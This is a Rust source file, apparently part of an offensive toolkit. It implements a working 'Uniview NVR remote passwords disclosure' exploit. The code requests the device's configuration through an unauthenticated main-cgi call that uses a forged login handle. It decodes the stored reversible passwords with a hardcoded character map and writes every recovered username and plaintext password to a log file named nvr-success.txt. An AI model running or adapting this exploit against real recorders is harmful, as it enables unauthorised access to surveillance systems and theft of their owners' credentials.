use anyhow::{anyhow, Context, Result};
use quick_xml::events::Event;
use quick_xml::name::QName;
use quick_xml::Reader;
use reqwest::Client;
use std::collections::HashMap;
use std::fs::OpenOptions;
use std::io::Write;
use std::time::Duration;

/// Reverses the Uniview custom encoded password
fn decode_pass(encoded: &str) -> String {
    let map: HashMap<&str, &str> = [
        ("77","1"), ("78","2"), ("79","3"), ("72","4"), ("73","5"), ("74","6"),
        ("75","7"), ("68","8"), ("69","9"), ("76","0"), ("93","!"), ("60","@"),
        ("95","#"), ("88","$"), ("89","%"), ("34","^"), ("90","&"), ("86","*"),
        ("84","("), ("85",")"), ("81","-"), ("35","_"), ("65","="), ("87","+"),
        ("83","/"), ("32","\\"), ("0","|"), ("80",","), ("70",":"), ("71",";"),
        ("7","{"),  ("1","}"),  ("82","."), ("67","?"), ("64","<"), ("66",">"),
        ("2","~"),  ("39","["), ("33","]"), ("94","\""), ("91","'"), ("28","`"),
        ("61","A"), ("62","B"), ("63","C"), ("56","D"), ("57","E"), ("58","F"),
        ("59","G"), ("52","H"), ("53","I"), ("54","J"), ("55","K"), ("48","L"),
        ("49","M"), ("50","N"), ("51","O"), ("44","P"), ("45","Q"), ("46","R"),
        ("47","S"), ("40","T"), ("41","U"), ("42","V"), ("43","W"), ("36","X"),
        ("37","Y"), ("38","Z"), ("29","a"), ("30","b"), ("31","c"), ("24","d"),
        ("25","e"), ("26","f"), ("27","g"), ("20","h"), ("21","i"), ("22","j"),
        ("23","k"), ("16","l"), ("17","m"), ("18","n"), ("19","o"), ("12","p"),
        ("13","q"), ("14","r"), ("15","s"), ("8","t"),  ("9","u"),  ("10","v"),
        ("11","w"), ("4","x"),  ("5","y"),  ("6","z"),
    ]
    .iter()
    .cloned()
    .collect();

    encoded
        .split(';')
        .filter_map(|c| if c == "124" { None } else { map.get(c).copied() })
        .collect()
}

/// Strip any number of nested brackets and re-wrap once if IPv6
fn normalize_target(raw: &str) -> String {
    // Preserve or default to http://
    let (scheme, after) = if let Some(s) = raw.strip_prefix("http://") {
        ("http://", s)
    } else if let Some(s) = raw.strip_prefix("https://") {
        ("https://", s)
    } else {
        ("http://", raw)
    };

    // Split authority vs path
    let (auth, path) = match after.find('/') {
        Some(i) => (&after[..i], &after[i..]),
        None    => (after, ""),
    };

    // Separate host_part and port_part
    let (host_part, port_part) = if auth.starts_with('[') {
        if let Some(pos) = auth.rfind(']') {
            (&auth[..=pos], &auth[pos + 1..])
        } else {
            (auth, "")
        }
    } else if auth.matches(':').count() > 1 {
        // IPv6 without brackets
        (auth, "")
    } else if let Some(pos) = auth.rfind(':') {
        // IPv4 or hostname with port
        (&auth[..pos], &auth[pos..])
    } else {
        (auth, "")
    };

    // Peel away *all* outer brackets
    let mut inner = host_part;
    while inner.starts_with('[') && inner.ends_with(']') {
        inner = &inner[1..inner.len() - 1];
    }

    // If it looks like IPv6, re-wrap exactly once
    let wrapped = if inner.contains(':') {
        format!("[{}]", inner)
    } else {
        inner.to_string()
    };

    format!("{}{}{}{}", scheme, wrapped, port_part, path)
}

pub async fn run(target: &str) -> Result<()> {
    println!("\nUniview NVR remote passwords disclosure!");
    println!("Author: B1t (ported to Rust)\n");

    // Normalize URL (scheme, IPv6 brackets, port, path)
    let target = normalize_target(target);

    let client = Client::builder()
        .danger_accept_invalid_certs(true)
        .timeout(Duration::from_secs(10))
        .build()
        .context("Failed to build HTTP client")?;

    // Fetch version info
    println!("[+] Getting model name and software version...");
    let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
    let version_text = client
        .get(&version_url)
        .send().await?
        .text().await
        .context("Failed to fetch version")?;

    let model = version_text
        .split("szDevName\":\"")
        .nth(1)
        .and_then(|s| s.split('"').next())
        .unwrap_or("Unknown");
    let sw_ver = version_text
        .split("szSoftwareVersion\":\"")
        .nth(1)
        .and_then(|s| s.split('"').next())
        .unwrap_or("Unknown");

    println!("Model: {}", model);
    println!("Software Version: {}", sw_ver);

    // Prepare log file
    let mut log = OpenOptions::new()
        .create(true)
        .append(true)
        .open("nvr-success.txt")
        .context("Unable to open nvr-success.txt")?;

    writeln!(log, "\n==== Uniview NVR ====").ok();
    writeln!(log, "Target: {}", target).ok();
    writeln!(log, "Model: {}", model).ok();
    writeln!(log, "Software Version: {}", sw_ver).ok();

    // Fetch user config
    println!("\n[+] Getting configuration file...");
    let config_url = format!(
        "{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}",
        target
    );
    let config_text = client
        .get(&config_url)
        .send().await?
        .text().await
        .context("Failed to fetch config")?;

    // XML reader with trimmed text
    let mut reader = Reader::from_str(&config_text);
    reader.config_mut().trim_text(true);

    let mut buf = Vec::new();
    let mut total_users = 0;

    println!("\nUser      | Stored Hash                           | Reversible Password");
    println!("{}", "_".repeat(80));
    writeln!(log, "\nUser      | Stored Hash                           | Reversible Password").ok();
    writeln!(log, "{}", "_".repeat(80)).ok();

    loop {
        match reader.read_event_into(&mut buf) {
            Ok(Event::Empty(ref e)) if e.name() == QName(b"User") => {
                let mut username = String::new();
                let mut user_hash = String::new();
                let mut revpass   = String::new();

                for attr in e.attributes().flatten() {
                    match attr.key {
                        k if k == QName(b"UserName")   => username  = std::str::from_utf8(&attr.value)?.to_string(),
                        k if k == QName(b"UserPass")   => user_hash = std::str::from_utf8(&attr.value)?.to_string(),
                        k if k == QName(b"RvsblePass") => revpass   = std::str::from_utf8(&attr.value)?.to_string(),
                        _ => {}
                    }
                }

                let decoded = decode_pass(&revpass);
                println!("{:<9}| {:<38}| {}", username, user_hash, decoded);
                writeln!(log, "{:<9}| {:<38}| {}", username, user_hash, decoded).ok();

                total_users += 1;
            }
            Ok(Event::Eof) => break,
            Err(e)        => return Err(anyhow!("XML parse error: {}", e)),
            _             => {}
        }
        buf.clear();
    }

    println!("\n[+] Total users: {}", total_users);
    writeln!(log, "\n[+] Total users: {}", total_users).ok();
    println!("\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n");
    writeln!(log, "\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n").ok();

    Ok(())
}
